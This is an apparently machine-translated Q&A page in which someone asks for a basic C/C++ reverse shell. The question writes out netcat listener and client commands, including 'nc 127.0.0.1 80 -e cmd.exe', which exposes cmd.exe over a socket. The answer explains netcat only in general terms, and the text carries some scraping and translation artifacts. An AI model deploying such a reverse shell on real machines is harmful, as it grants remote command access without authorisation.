正在查找C(+;+;)中的基本反向Shell示例 我试图在C或C++中找到一个基本的反向shell例子,
基本上,我想编写一段代码来模拟以下netcat场景:正在查找C(+;+;)中的基本反向Shell示例 我试图在C或C++中找到一个基本的反向shell例子,,c++,c,networking,tcp,C++,C,Networking,Tcp,基本上,我想编写一段代码来模拟以下netcat场景: Listener: ------------------ C:\nc -L -p 80 Client -------------- C:\nc 127.0.0.1 80 -e cmd.exe 对于不说netcat的人: 这意味着我想将stdin和stdout从cmd.exe重定向到网络的流输入和输出。 因此,来自远程计算机的用户可以从远程计算机运行cmd.exe p> >我寻找C/C++示例代码来执行这个操作? NETCAT//COD
Listener:
------------------
C:\nc -L -p 80
Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe
对于不说netcat的人:
这意味着我想将stdin和stdout从cmd.exe重定向到网络的流输入和输出。
因此,来自远程计算机的用户可以从远程计算机运行cmd.exe
<> p> >我寻找C/C++示例代码来执行这个操作? <代码> NETCAT//COD>基本上是接受(当充当服务器)或打开(当充当客户端)的套接字。任何输入到stdin的内容都会写入套接字。从套接字读取的任何内容都会写入
stdout
。任何错误都会写入stderr
这是最基本的。看起来您正在Windows上使用它,并将标准IO附加到命令shell。我不知道为什么/这对你有什么好处,所以我现在不考虑这个问题
无论如何,你需要做的是写一个应用程序,接受/打开一个套接字,写到。。。等(见第1段)
网上有很多东西解释了如何做到这一点。您的问题的最终答案取决于您为什么要这样做(即为什么不只使用netcat
),您是否想要一个好的兼容POSIX的应用程序,该应用程序可以构建在任何平台上,或者只构建在Windows上(可能使用Windows UI组件),以及其他注意事项
我建议你从搜索谷歌开始,比如,或者。这里有一些提示:0x24804005、0xEBF255FE、0xE0443209……你可能是人为地将可以帮助你的人限制在那些说流利netcat的人身上。谢谢,我刚刚解释了它的真正含义。